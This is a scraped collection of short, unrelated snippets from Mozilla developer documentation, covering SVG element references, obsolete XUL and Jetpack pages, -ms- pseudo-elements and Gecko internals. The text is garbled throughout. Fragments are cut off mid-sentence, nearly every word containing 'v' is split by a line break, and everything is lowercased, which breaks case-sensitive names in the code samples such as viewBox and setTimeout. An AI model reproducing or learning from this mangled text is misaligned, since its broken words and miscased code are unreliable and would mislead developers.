...ributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-...
<polygon> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- example of a polygon with the default fill --> <polygon points="0,100 50,25 50,75 100,0" /> <!-- example of the same polygon shape with stroke and no fill --> <polygon points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polygon.
...ributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-...
<polyline> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- example of a polyline with the default fill --> <polyline points="0,100 50,25 50,75 100,0" /> <!-- example of the same polyline shape with stroke and no fill --> <polyline points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polyline value type: <number>+ ; defau...
...ributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-...
<rect> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <!-- simple rectangle --> <rect width="100" height="100" /> <!-- rounded corner rectangle --> <rect x="120" width="100" height="100" rx="15" /> </svg> attributes x the x coordinate of the rect.
...ributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-...
<set> - SVG: Scalable Vector Graphics
the svg <set> element pro
vides a simple means of just setting the value of an attribute for a specified duration.
... html,body,svg { height:100%; margin:0; padding:0; } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> rect { cursor: pointer } .round { rx: 5px; fill: green; } </style> <rect id="me" width="10" height="10"> <set attributename="class" to="round" begin="me.click" dur="2s" /> </rect> </svg> attributes to this attribute defines the value to be applied to the target attribute for the duration of the animation.
<stop> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes offset this attribute defines where the gradient stop is placed along the gradient vector.
... value type: <opacity>; default value: 1; animatable: yes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes presentation attributes most notably: color, display, stop-color, stop-opacity,
visibility usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:<animate>, <animatecolor>, <set> specifications specification status comment scalable vector graphics (svg) 2the definition of '<stop>' in that specification.
<switch> - SVG: Scalable Vector Graphics
the display and
visibility properties have no effect on <switch> element processing.
... html content <svg
viewbox="0 -20 100 50"> <switch> <text systemlanguage="ar">مرحبا</text> <text systemlanguage="de,nl">hallo!</text> <text systemlanguage="en-us">howdy!</text> <text systemlanguage="en-gb">wotcha!</text> <text systemlanguage="en-au">g'day!</text> <text systemlanguage="en">hello!</text> <text systemlanguage="es">hola!</text> <text systemlanguage=...
SVG element reference - SVG: Scalable Vector Graphics
<hatch> <hatchpath> i <image> l <line> <lineargradient> m <marker> <mask> <mesh> <meshgradient> <meshpatch> <meshrow> <metadata> <mpath> p <path> <pattern> <polygon> <polyline> r <radialgradient> <rect> s <script> <set> <solidcolor> <stop> <style> <svg> <switch> <symbol> t <text> <textpath> <title> <tspan> u <unknown> <use> v <
view> svg elements by category animation elements <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <discard>, <mpath>, <set> basic shapes <circle>, <ellipse>, <line>, <polygon>, <polyline>, <rect> container elements <a>, <defs>, <g>, <marker>, <mask>, <missing-glyph>, <pattern>, <svg>, <switch>, <symbol>, <unknown> descriptive elements <desc>, <metadata>, <title> filter pr...
... structural elements <defs>, <g>, <svg>, <symbol>, <use> text content elements <altglyph>, <altglyphdef>, <altglyphitem>, <glyph>, <glyphref>, <textpath>, <text>, <tref>, <tspan> text content child elements <altglyph>, <textpath>, <tref>, <tspan> uncategorized elements <clippath>, <color-profile>, <cursor>, <filter>, <foreignobject>, <hatchpath>, <meshpatch>, <meshrow>, <script>, <style>, <
view> obsolete and deprecated elements warning: these are old svg elements which are deprecated and should not be used.
Linking - SVG: Scalable Vector Graphics
ody> <p>this is a svg button:</p> <object width="100" height="50" type="image/svg+xml" data="button.svg"/> </body> </html> button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <a xlink:href="page2.html" target="_top"> <g> <!-- button graphical elements here --> </g> </a> </svg> the specification says that the browser should na
vigate to the html document page2.html when the button graphics are clicked.
...(the problem will be fixed in firefox 2.0.) anyway, the resultant beha
vior in moz svg is that page2.html will be loaded into the frame where the svg button was (i.e.
SVG as an Image - SVG: Scalable Vector Graphics
:
visited-link styles aren't rendered.
... note that the above restrictions are specific to image contexts; they don't apply when svg content is
viewed directly, or when it's embedded as a document
via the <iframe>, <object>, or <embed> elements.
Information Security Basics - Web security
a basic understanding of information security can help you avoid unnecessarily lea
ving your software and sites insecure and vulnerable to weaknesses that can be exploited for financial gain or other malicious reasons.
... confidentiality, integrity, and availability describes the primary security objectives, which are absolutely fundamental to understanding security security controls defines major categories of security controls and discusses their potential disadvantages tcp/ip security an over
view of the tcp/ip model, with a focus on the security considerations for ssl threats briefly introduces major threat concepts vulnerabilities defines the major categories of vulnerabilities and discusses the presence of vulnerabilities in all software ...
How to fix a website with blocked mixed content - Web security
your website may break if your website delivers https pages, all active mixed content delivered
via http on this pages will be blocked by default.
...if https is not available, you can try contacting the domain and asking them if they can make the content available
via https.
xml:base - XML: Extensible Markup Language
<html> <head> <base href="https://mydomain.com"> <style> .link { stroke: #999; stroke-opacity: .6; } marker#arrow { fill: black; } </style> </head> <body> <svg width="100%" height="100%" xml:base=""> <defs> <marker id="arrow"
viewbox="0 -5 10 10" refx="0" refy="0" markerwidth="20" markerheight="20" orient="auto"> <path d="m0,-5l10,0l0,5"></path> </marker> </defs> <line x1="100" y1="100" x2="333" y2="333" marker-start="url(#arrow)" class="link"></line> </svg> </body> </html> imagine a svg with font references.
... <svg xml:base="https://foobar.s3-eu-west-1.amazonaws.com/uploads/15066845653629" width="909" height="1286"
viewbox="0 0 909 1286"xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <style type="text/css"><![cdata[ .s9_999{ font-size: 9.17px; font-family: zapfdingbats_ghr; fill: #161615; } ]]></style> <text x="647" y="412" dx="0" class="s9_999" >r</text> <style type="text/css"><![cdata[ @font-face { font-family: zapfdingbats_ghr; src: url("fonts/zapfdingbats_ghr.woff") format("woff"); } ]]></style> </svg> setting the xml:base on the svg element means you can inline the svg and thereby bypass cors issue while not changing the base uri for your entire document.
Tabbox - Archive of obsolete content
examples: .tabs-closebutton { list-style-image: url(http://mozilla.org/fa
vicon.ico); } .tabs-closebutton { list-style-image: url("chrome://global/skin/icons/close.gif"); } ...
Delayed Execution - Archive of obsolete content
queuing a task in the main event loop when a task needs to be only briefly delayed, such that it runs after the current call chain returns, it can be added directly to the main thread's event queue rather than scheduled as a timeout: function executesoon(func) { ser
vices.tm.mainthread.dispatch(func, ci.nsithread.dispatch_normal); } using nsitimers to schedule tasks in instances where settimeout() and setinterval() are unavailable, or insufficient, tasks can be scheduled with delays using nsitimer instances.
xml:base support in old browsers - Archive of obsolete content
pos+skipfile); // find first path separator ('/') after protocol if (att2 !== -1) { att = att.substring(0, att2 - 1); // don't want any trailing slash, as the absolute path to be added already has one } } else if (!att.match(/\/$/)) { // if no trailing slash, add one, since it is being attached to a relative path att += '/'; } xmlbase = att + xmlbase; // if pre
vious path was not absolute, resolve against the full uri here' break; } else if (att.indexof('/') === 0) { // if absolute (/), need to prepare for next time to strip out after slash xmlbase = att + xmlbase; abs = true; // once the protocol is found on the next round, make sure any extra path is ignored } else { // if relative, just add it xmlbase = att + xmlbase; } ...
XUL School Tutorial - Archive of obsolete content
introduction introduction getting started with firefox extensions the essentials of an extension setting up a development en
vironment javascript object management basic functionality adding menus and submenus adding toolbars and toolbar buttons adding events and commands adding windows and dialogs adding sidebars user notifications and alerts intermediate functionality intercepting page loads connecting to remote content handling preferences local storage advanced topics ...
Supporting search suggestions in search plugins - Archive of obsolete content
for example, if the search term is "fir", and you don't need to return descriptions or alternate query urls, you might return the following json: ["fir", ["firefox", "first choice", "mozilla firefox"]] note that in this example, only the query string and completion array are specified, lea
ving out the optional elements.
DOMSubtreeModified - Archive of obsolete content
this event has been deprecated in favor of the mutation observer api this event can cause infinite loops if you decide to change the dom inside the event handler, hence it has been disabled in a number of browsers (see domattrmodified and domsubtreemodified events are no longer fired when style attribute is changed
via cssom for example).
Install.js - Archive of obsolete content
install.js install.rdf (optional -- see above) code // install.js // xpiinstaller // by pike (hea
vily inspired by code from henrik gemal and stephen clavering) var xpiinstaller = { // --- editable items begin --- extfullname: 'sample extension', // the name displayed to the user (don't include the version) extshortname: 'sampleext', // the leafname of the jar file (without the .jar part) extversion: '1.0', extauthor: 'insert-your-name-here', extlocalenames: null, // e.g.
cert_override.txt - Archive of obsolete content
domainname:port : port 443 for https (ssl) hash algorithm oid sha1-256: oid.2.16.840.1.101.3.4.2.1 (most used) sha-384: oid.2.16.840.1.101.3.4.2.2 sha-512: oid.2.16.840.1.101.3.4.2.3 certificate fingerprint using pre
vious hash algorithm one or more characters for override type: m : allow mismatches in the hostname u : allow untrusted certs (whether it's self signed cert or a missing or invalid issuer cert) t : allow errors in the validity time, for example, for expired or not yet valid certs certificate's serial number and the issuer name as a base64 encoded string ...
Same-origin policy for file: URIs - Archive of obsolete content
for example, if you have a file foo.html which accesses another file bar.html and you have na
vigated to it from the file index.html, the load will succeed only if bar.html is either in the same directory as index.html or in a directory contained within the same directory as index.html.
Misc top level - Archive of obsolete content
back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained.no proxy for configurationthis document pro
vides a comprehensive discussion of the manual proxy feature "no proxy for:", including configuration issues, testing and bugs.same-origin policy for file: urisin gecko 1.8 or earlier, any two file: uris are considered to be same-origin.
Automated testing tips and tricks - Archive of obsolete content
in test scripts, <code>sleep 5 after the above command should ensure the profile is created before the next command in the test script is run how to enable dump in a new profile add user_pref("browser.dom.window.dump.enabled", true); to profiledir/user.js how to execute test code with chrome pri
vileges using a chrome doc - see sbtests.xul in http://people.mozilla.com/~davel/scripts/ for an example firefox-bin -p sbtestprofile -chrome chrome://sbtests/content/ above code calls the quit function in quit.js to exit after test is finished how to detect content onload event from chrome use the domcontentloaded event chromewindow.addeventlistener...
slideBar - Archive of obsolete content
iconhref oficon to show in the slidebaruri htmlhtml content for the featurehtml/xml urlurl to load content for the featureuri widthwidth of the content area and the selected slide sizeint persistdefault slide beha
vior when being selectedbool autoreloadautomatically reload content on selectbool onclickcallback when the icon is clickedfunction onselectcallback when the feature is selectedfunction onreadycallback when featured is loadedfunction an example: jetpack.slidebar.append({ url: "http://mozilla.com", width: 150, onclick: function(slide){ slide.icon.src = "chrome://branding/content/icon...
UI - Archive of obsolete content
olumn toolbar including entries and access elements into the toolbar panel a movable, expandable, and custom styled content element to display jetpack content tabs adding events and interacting with browser tabs and their contained documents statusbar low-level functions and basic calls notifications a system for alerting users
via pro
vided ui mechanisms selection interacting with user-selected content window mitigates and eases interactions between different browser windows ...
Jetpack - Archive of obsolete content
get started
visit the getting started tutorial download the add-on sdk (formerly called the jetpack sdk) documentation check out the documentation, including tutorials, examples, guides, and api reference join the jetpack community follow jetpack on the mozilla add-ons blog report a bug check out the open bugs discuss jetpack grab the source code join us in #jetpack on irc.mozilla.org ...
Build - Archive of obsolete content
go into the prism/ directory and create a .mozconfig file mk_add_options moz_objdir=@topsrcdir@/mozilla-obj/prism ac_add_options --with-libxul-sdk=../dist ac_add_options --enable-application=prism you need to define an en
vironment variable to point the build to the new .mozconfig.
BundleLibrary - Archive of obsolete content
lendar.webapp google docs: gdocs.webapp google groups: groups.webapp google analytics: ganalytics.webapp google reader: greader.webapp facebook: facebook.webapp twitter: twitter.webapp user contributed bundles gmail w/gtalk: gmail.webapp (note: work with latest version of prism!) 32 online todo lists: zip file with web apps for 32 online todo lists anywhere.fm: anywhere.fm@prism.app.webapp a ser
vice that lets you upload your entire music library to their servers and listen from anywhere through a slick flash interface.
Extensions - Archive of obsolete content
then install the extension by either dragging and dropping the extension onto the dialog, or by clicking the “install…” button, na
vigating to the extension and selecting it for installation.
HostWindow - Archive of obsolete content
status - area of the statusbar that displays the loading status message and a "percent complete" progress bar, as well as the "gear" menu that pro
vides access to prism commands such as displaying the error console.
Remote XUL - Archive of obsolete content
the remote xul manager extension lets you manage this whitelist, which is maintained using nsipermissionmanager, by creating entries of type "allowxulxbl", like this: components.classes["@mozilla.org/permissionmanager;1"] .getser
vice(components.interfaces.nsipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.nsipermissionmanager.allow_action); see using remote xul.
XUL accessibility tool - Archive of obsolete content
add the tool into the addons.mozilla.org re
view process go through the most useful/popular extensions with tool and fix a11y issues add checker to tinderbox so that bugs are caught at checkin time some or all of this work could be done through grants, and a likely person to oversee the grant deliverables and milestones would be mark finkle.
command - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
groupbox - Archive of obsolete content
e(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessiblepro
vider ...
keyset - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
listcell - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
listhead - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
listheader - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
menubar - Archive of obsolete content
, lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements menu, menuitem, menulist, menupopup, menuseparator interfaces nsiaccessiblepro
vider ...
promptBox - Archive of obsolete content
method over
view nsidomelement appendprompt(args, onclosecallback); void removeprompt(nsidomelement aprompt); nodelist listprompts(nsidomelement aprompt); methods appendprompt() creates a new prompt, adding it to the tab.
resizer - Archive of obsolete content
as some platforms pro
vide this resizing grip automatically, this type of resizer element will be hidden and ensure that the window does not get an extra resizer.
toolbargrippy - Archive of obsolete content
yselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox interfaces nsiaccessiblepro
vider ...
toolbarspacer - Archive of obsolete content
yselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspring, toolbox interfaces nsiaccessiblepro
vider ...
toolbarspring - Archive of obsolete content
eattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbox interfaces nsiaccessiblepro
vider ...
Custom app bundles for Mac OS X - Archive of obsolete content
ed application settings) example.icns (this is the icon which will be used by your application bundle) chrome/ content/ example.xul (this directory contains your application's chrome) example.manifest defaults/ preferences/ app-prefs.js (this pro
vides some default values for preferences) application bundle contents in addition to the standard directory hierarchy that's required of all mac os x applications, as shown above in application bundle layout, there are some specific rules for what content goes where: the top-level directory is given a name that ends with .app wh...
Make your xulrunner app match the system locale - Archive of obsolete content
from xpcom import components ps_cls = components.classes["@mozilla.org/preferences-ser
vice;1"] ps = ps_cls.getser
vice(components.interfaces.nsiprefser
vice) branch = ps.getbranch("general.useragent.") branch.setcharpref("locale", lang) i also set the language en
vironment variable to match the system locale so that python's gettext functionality will work (it pulls straight from language instead of using setlocale): os.en
viron["language"] = lang ...
::-ms-browse - Archive of obsolete content
us border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin
visibility width syntax ::-ms-browse example html <label>select image: <input type="file"></label> css input[type="file"]::-ms-browse { color: red; background-color: yellow; } result output example specifications not part of any specification.
::-ms-check - Archive of obsolete content
us border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin
visibility width syntax ::-ms-check example html <form> <label for="redbutton">red</label> <input type="radio" id="redbutton"><br> <label for="greencheckbox">green</label> <input type="checkbox" id="greencheckbox"> </form> css input, label { display: inline; } input[type=radio]::-ms-check { border-color: red; /* this will make the border red when the button is checked.
::-ms-clear - Archive of obsolete content
us border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin
visibility width syntax ::-ms-clear example html <form> <label for="firstname">first name:</label> <input type="text" id="firstname" name="firstname" placeholder="first name"> <br> <label for="lastname">last name:</label> <input type="text" id="lastname" name="lastname" placeholder="second name"> </form> css input, label { display: block; } input[type=text]::-ms-clear { col...
::-ms-expand - Archive of obsolete content
us border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin
visibility width syntax ::-ms-clear specifications not part of any specification.
::-ms-fill-lower - Archive of obsolete content
x-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin
visibility width specifications not part of any specification.
::-ms-fill-upper - Archive of obsolete content
x-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin
visibility width syntax ::-ms-fill-upper specifications not part of any specification.
::-ms-reveal - Archive of obsolete content
x-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin
visibility width syntax ::-ms-reveal specifications not part of any specification.
::-ms-thumb - Archive of obsolete content
x-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin
visibility width syntax ::-ms-thumb specifications not part of any specification.
First input delay - MDN Web Docs Glossary: Definitions of Web-related terms
the time between when content is painted to the page and when all the functionality becomes responsive to human interaction often varies based on the the size and complexity of the javascript needing to be downloaded, parsed, and executed on the main thread, and on the de
vice speed or lack thereof (think low end mobile de
vices).
Forbidden header name - MDN Web Docs Glossary: Definitions of Web-related terms
forbidden header names start with proxy- or sec-, or are one of the following names: accept-charset accept-encoding access-control-request-headers access-control-request-method connection content-length cookie cookie2 date dnt expect feature-policy host keep-alive origin proxy- sec- referer te trailer transfer-encoding upgrade
via note: the user-agent header is no longer forbidden, as per spec — see forbidden header name list (this was implemented in firefox 43) — it can now be set in a fetch headers object, or
via xhr setrequestheader().
Example - Learn web development
<p> <label for="pwd"> <span>password: </span> <strong><abbr title="required">*</abbr></strong> </label> <input type="password" id="pwd" name="password"> </p> </section> <section> <h2>payment information</h2> <p> <label for="card"> <span>card type:</span> </label> <select id="card" name="usercard"> <option value="
visa">
visa</option> <option value="mc">mastercard</option> <option value="amex">american express</option> </select> </p> <p> <label for="number"> <span>card number:</span> <strong><abbr title="required">*</abbr></strong> </label> <input type="tel" id="number" name="cardnumber"> </p> <p> <label for="date"> <span>exp...
Test your skills: Form structure - Learn web development
form structure 1 in this task we want you to structure the pro
vided form features: separate out the first two and second two form fields into two distinct containers, each with a descriptive legend (use "personal details" for the first two, and "comment information" for the second two).
Chrome Worker Modules
however, if you have cyclic requirements, some of the modules involved in the cyclic requirements may become
visible by the other modules before they are fully evaluated.
ZoomText
these builds are pretty stable considering they're only alpha, i'm ha
ving very good luck with them.
Browser chrome tests
this file will be injected into the test scope for each test li
ving in the same folder.
Choosing the right memory allocator
these should only be used to allocate objects that are guaranteed to have a shorter lifetime than the presshell in question (typically layout data structures), because the presshell destructor will wipe out the arena, lea
ving any pointers to memory allocated from it dangling.
Cookies in Mozilla
original document information author(s): mike connor last updated date: march 15, 2004 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Creating MozSearch plugins
firefox will use the above search engine description to construct the following search url: http://search.yahoo.com/search?p=mozilla&ei=utf-8&fr=moz2 if the user clicks the magnifying glass icon in the search bar, or chooses the web search option in the tools menu when the search bar isn't
visible, the browser will take them to http://search.yahoo.com/, the value of the <searchform> element.
::-moz-tree-line
associated elements <xul:treeitem> style properties border
visibility ...
::-moz-tree-row
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
Chrome-only CSS reference
this page lists css properties that are only available in gecko chrome code (and sometimes in other pri
vileged circumstances, eg.
Gecko
view all… community
view mozilla forums: mailing list newsgroup rss feed related topics web standards xul embedding mozilla developing mozilla ...
Gecko's "Almost Standards" Mode
e the size of the line box (that is, their line-height is ignored) do not get a height (e.g., for their background) larger than that of their descendants, even if their font size is larger (if they have no descendants, they are zero-height positioned at their baseline) other than this one difference, "almost standards" and "standards" modes are exactly the same in terms of layout and other beha
viors.
How test harnesses work
python runner the python runner: sets up the testing en
vironment sets up en
vironment variables (mozrunner, currently) creates a profile (mozprofile
via mozrunner) sets appropriate test preferences inserts a shim extension in the profile (for non-marionette tests) gathers the tests (manifestdestiny) potentially sets up an http server for test data (mozhttpd) invokes the binary (mozrunner) it is the job of the shim extension to shut down t...
How to add a build-time test
you can of course just use the onetests_type directory here, but if you want to subdi
vide your tests by functionality, separate directories is the way to go.
IPDL Type Serialization
serializers and deserializers are security-sensitive and must always receive two re
views from module owners who understand ipc serialization well.
JavaScript Tips
prefer to loop through childnodes rather than using first/lastchild with next/pre
vioussibling.
AddonInstall
method over
view void install() void cancel() void addlistener(in installlistener listener) void removelistener(in installlistener listener) properties attribute type description name string the name of the add-on being installed.
AddonListener
method over
view void onenabling(in addon addon, in boolean needsrestart) void onenabled(in addon addon) void ondisabling(in addon addon, in boolean needsrestart) void ondisabled(in addon addon) void oninstalling(in addon addon, in boolean needsrestart) void oninstalled(in addon addon) void onuninstalling(in addon addon, in boolean needsrestart) void onuninstalled(in ad...
AddonUpdateChecker
to import the addonupdatechecker, use: components.utils.import("resource://gre/modules/addonupdatechecker.jsm"); method over
view updateinfo getcompatibilityupdate(in updateinfo updates[], in string version, in boolean ignorecompatibility, in string appversion, in string platformversion) updateinfo getnewestcompatibleupdate(in updateinfo updates[], in string appversion, in string platformversion) void checkforupdates(in string id, in string type, in string updatekey, string url, in updatechecklistener listener) constants con...
InstallListener
method over
view void onnewinstall(in addoninstall install) void ondownloadstarted(in addoninstall install) void ondownloadprogress(in addoninstall install) void ondownloadended(in addoninstall install) void ondownloadcancelled(in addoninstall install) void ondownloadfailed(in addoninstall install) void oninstallstarted(in addoninstall install) void oninstallended(in addoninstall install, in addon addon) void oninstallcancelled(in addoninstall install) void oninstallfailed(in addoninstall install) ...
TypeListener
method over
view void ontypeadded(in addontype type) void ontyperemoved(in addontype type) methods ontypeadded() called when an add-on type has been added.
UpdateCheckListener
method over
view void onupdatecheckcomplete(in updateinfo results[]) void onupdatecheckerror(in integer status) methods onupdatecheckcomplete() called when the update check completed successfully.
Dict.jsm
method over
view dict copy(); boolean del(string akey); object get(string akey, [optional] object adefault); boolean has(string akey); array listitems(); array listkeys(); array listvalues(); void set(string akey, object avalue); string tojson(); string tostring(); properties attribute type descrip...
DownloadError
a downloaderror object pro
vides detailed information about a download failure.
Geometry.jsm
the geometry.jsm javascript code module pro
vides routines for performing common geometry operations on points and rectangles.
OS.File.Error
} catch (ex) { if (ex instanceof os.file.error && ex.becausenosuchfile) { // the file does not exist } } global object os.file.error methods over
view the following functions are utility functions that may be used to construct instances of os.file.error, setting the platform-specific error number.
OS.File.Info
(as of firefox 38 this attribute is not found, see screen shots below, bugzilla :: bug 1156060) screenshot of info object in variable
viewer macosx 10.10.1 ubuntu 14.04.1 windows 8.1 see also os.file.directoryiterator.entry ...
Using workers in JavaScript code modules
it works exactly like a standard worker, except that it has access to js-ctypes
via a global ctypes object available in the global scope of the worker obsolete since gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5)this feature is obsolete.
openLocationLastURL.jsm
using the openlocationlasturl object to get or set the value of the open location edit box, simply read the value of, or set the value of, the openlocationlasturl.value field: var url = openlocationlasturl.value; openlocationlasturl.value = "http://www.mozilla.org/"; to reset the value of the edit box to the default (which is an empty string), you can call the reset() method: method over
view reset() methods reset the reset() method resets the saved url to the default, which is an empty string.
Localization prerequisites
you can try one of these: notepad++ or notepad2 on windows,
vim, gedit or kate on gnu/linux, bbedit on mac os x.
Writing localizable code
an example of a well used composite string is firefox's setting for
visited pages: the translator can (implicitly) position the text field as he sees fit.
MathML In Action
your feedback can be manifested by putting mathml content on the web, reporting bugs in bugzilla, and, if you can help with code, inspecting/impro
ving the current code, and/or picking up an item in the todo list.
Various MathML Tests
over
view of presentation mathml elements testing tensor indices <mmultiscripts>: r i1 j2 k3 ; this with <none/>, a qp i a bit of calculus: ∫ a b f ( x ) dx ∂ ∂ x f ( x , y ) + ∂ ∂ y f ( x , y ) here is the alphabet with in
visible portions wrapped by <mphantom> in between: a b c d e f g h i j k l m n o p q r s t u v w x y z .
L20n Javascript API
ctx.removeeventlistener(event: string, callback: function) remove an event listener pre
viously registered with addeventlistener.
Midas editor module security preferences
to protect users' private information, unpri
